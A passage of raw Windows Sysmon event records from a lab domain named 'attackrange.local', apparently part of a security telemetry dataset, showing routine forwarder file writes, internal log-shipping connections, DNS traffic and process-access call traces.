23542300x800000000000000014872Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:03.922{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CB93A69FDB14B8E9F658D5531E56C761,SHA256=B1441E4B958C3C69233F314B6EC0A4DF050FEC507BB96DF2539387ED6D21CDAB,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:00.463{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53321- 354300x800000000000000047183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:00.463{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEudptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53321-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domain 23542300x800000000000000047182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:03.335{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0E0337DCF058D642C2D65D6464D6CFEC,SHA256=33E977E55C44A89123D504CF4B14ABB24CFC0288EDDE3CAAD6196DD1D2C5F4C6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014877Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:04.969{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8204D00A32294C969F79A675821CAD04,SHA256=8B5EE03C1A9D25CA33F22199A02DACA05DB2A7C02042558E134CB75B163A91BA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:04.366{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=40A2956F27C54856968AB504E9C0F840,SHA256=D793C77DD98B7B8221ED0976B5658EC2EB7C798231D294F17BB0A396C7977AA9,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014876Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:02.419{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50187-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000014875Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:04.828{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1600-00000000F101}1056C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014874Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:04.828{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1600-00000000F101}1056C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014873Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:04.828{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1600-00000000F101}1056C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014878Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:05.984{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F8A6B636C28645B71050A8D68E9A6CBC,SHA256=2A127BE9C124CED4A0434311FB654579138CB45CD9C0D4B451B7A8D56747A490,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:05.382{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DDB1B6AA3A3735A388BB77FBE40FDB0B,SHA256=339A3F970E1E9D1B743A49C55CAE58DFFCE62F07D19A056140C45E29692EA425,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014879Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:06.984{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3CA2DC3E56CF5BA3F9A7E3D0088480D4,SHA256=5542D59826A48F41BF5F83E07E1E391DAECDC59842BE1ED1E53AAB292B104648,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:03.570{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59377-false10.0.1.12-8000- 23542300x800000000000000047187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:06.398{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F872B6C16061D4FF559F822ABC2132D4,SHA256=1A15B71FDB1C0CF2EA0C147A3F0E924FE230FAF4309ED85EDFA241A8C6E5DA91,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:07.538{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2B5D367EDD6B1FA38A238F908CC123D5,SHA256=BC944FE040521FBD7C4AF143E5B7C15DB519BCE971D47A0FF8197E0BBC564A80,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:07.507{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1DFD000940125C3402BADCE2E96E4D87,SHA256=DAA50F832C959769DA9C0FF0E9DAB7F1A436C099DB2DCC6FC5417A162241EC43,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:07.507{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=605F206B5CCD41FE7AE585B4233F326D,SHA256=5F96DB7F798FDB318D9FEE490C0F23BCA7D821CD2AE54BDEB5E3AB50A1970C14,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:08.554{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A2F74CBE682C442FA33A6EE422EAA4FE,SHA256=6863D7F26148D87585426E2FD50F5DDC8AB6767DBCC3CDDF614D5800C673AA83,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014881Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:07.544{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50188-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014880Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:08.000{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=720438906F1BC419C227C25374D0E801,SHA256=6F14DF34E67B80A4F3328AE451AC2961087D833452C073E642ADD3C7809F00F6,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:09.882{7BD73061-6D0F-613B-9406-00000000F001}4480636C:\Windows\Explorer.EXE{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62a85|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:09.882{7BD73061-6D0F-613B-9406-00000000F001}4480636C:\Windows\Explorer.EXE{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6299e|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:09.882{7BD73061-6D0F-613B-9406-00000000F001}4480636C:\Windows\Explorer.EXE{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:09.866{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7099-613B-0F0B-00000000F001}6992C:\Windows\system32\conhost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62400|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:09.866{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7099-613B-0F0B-00000000F001}6992C:\Windows\system32\conhost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+47c00|C:\Windows\System32\SHELL32.dll+623bc|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:09.866{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7099-613B-0F0B-00000000F001}6992C:\Windows\system32\conhost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62390|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:09.866{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7099-613B-0F0B-00000000F001}6992C:\Windows\system32\conhost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+f5319|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:09.601{7BD73061-6D0F-613B-9406-00000000F001}44806284C:\Windows\Explorer.EXE{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\ole32.dll+8a26e|C:\Windows\System32\ole32.dll+89b6b|C:\Windows\System32\ole32.dll+88d27|C:\Windows\System32\ole32.dll+8c957|C:\Windows\System32\SHELL32.dll+2c8e1d|C:\Windows\System32\SHELL32.dll+283a8e|C:\Windows\system32\explorerframe.dll+b29b9|C:\Windows\system32\DUI70.dll+48b9d|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11d7b|C:\Windows\System32\DUser.dll+9f5a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11d7b|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+58770|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+58547|C:\Windows\system32\explorerframe.dll+4f50e|C:\Windows\system32\explorerframe.dll+4d2f6|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+587c9|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+58547|C:\Windows\system32\explorerframe.dll+1aced|C:\Windows\system32\explorerframe.dll+1ac26|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+587c9 10341000x800000000000000047202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:09.601{7BD73061-6D0F-613B-9406-00000000F001}44806284C:\Windows\Explorer.EXE{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\ole32.dll+b5f62|C:\Windows\System32\ole32.dll+89b39|C:\Windows\System32\ole32.dll+88d27|C:\Windows\System32\ole32.dll+8c957|C:\Windows\System32\SHELL32.dll+2c8e1d|C:\Windows\System32\SHELL32.dll+283a8e|C:\Windows\system32\explorerframe.dll+b29b9|C:\Windows\system32\DUI70.dll+48b9d|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11d7b|C:\Windows\System32\DUser.dll+9f5a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11d7b|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+58770|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+58547|C:\Windows\system32\explorerframe.dll+4f50e|C:\Windows\system32\explorerframe.dll+4d2f6|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+587c9|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+58547|C:\Windows\system32\explorerframe.dll+1aced|C:\Windows\system32\explorerframe.dll+1ac26|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+587c9 23542300x800000000000000047201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:09.569{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AA346853F87016256E5CC036EF5FD95F,SHA256=E35D0EC427DE2A5D668D86223160F4118AB956A5C04C7D1F4D05E25C3B860B23,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014882Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:09.031{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=72B869802A4B793F78437897225BD6C7,SHA256=95269408FF5642AE7DF6854E87F613A6BF57DAFB9646F32D298734F92A6B7431,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:09.382{7BD73061-65B2-613B-1600-00000000F001}12962072C:\Windows\system32\svchost.exe{7BD73061-70A1-613B-100B-00000000F001}5320C:\Windows\system32\DllHost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:09.382{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-70A1-613B-100B-00000000F001}5320C:\Windows\system32\DllHost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:09.367{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-70A1-613B-100B-00000000F001}5320C:\Windows\system32\DllHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:09.367{7BD73061-6D0B-613B-7F06-00000000F001}36603632C:\Windows\system32\csrss.exe{7BD73061-70A1-613B-100B-00000000F001}5320C:\Windows\system32\DllHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:09.367{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-70A1-613B-100B-00000000F001}5320C:\Windows\system32\DllHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:09.351{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-70A1-613B-100B-00000000F001}5320C:\Windows\system32\DllHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+36349|c:\windows\system32\rpcss.dll+3bb32|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 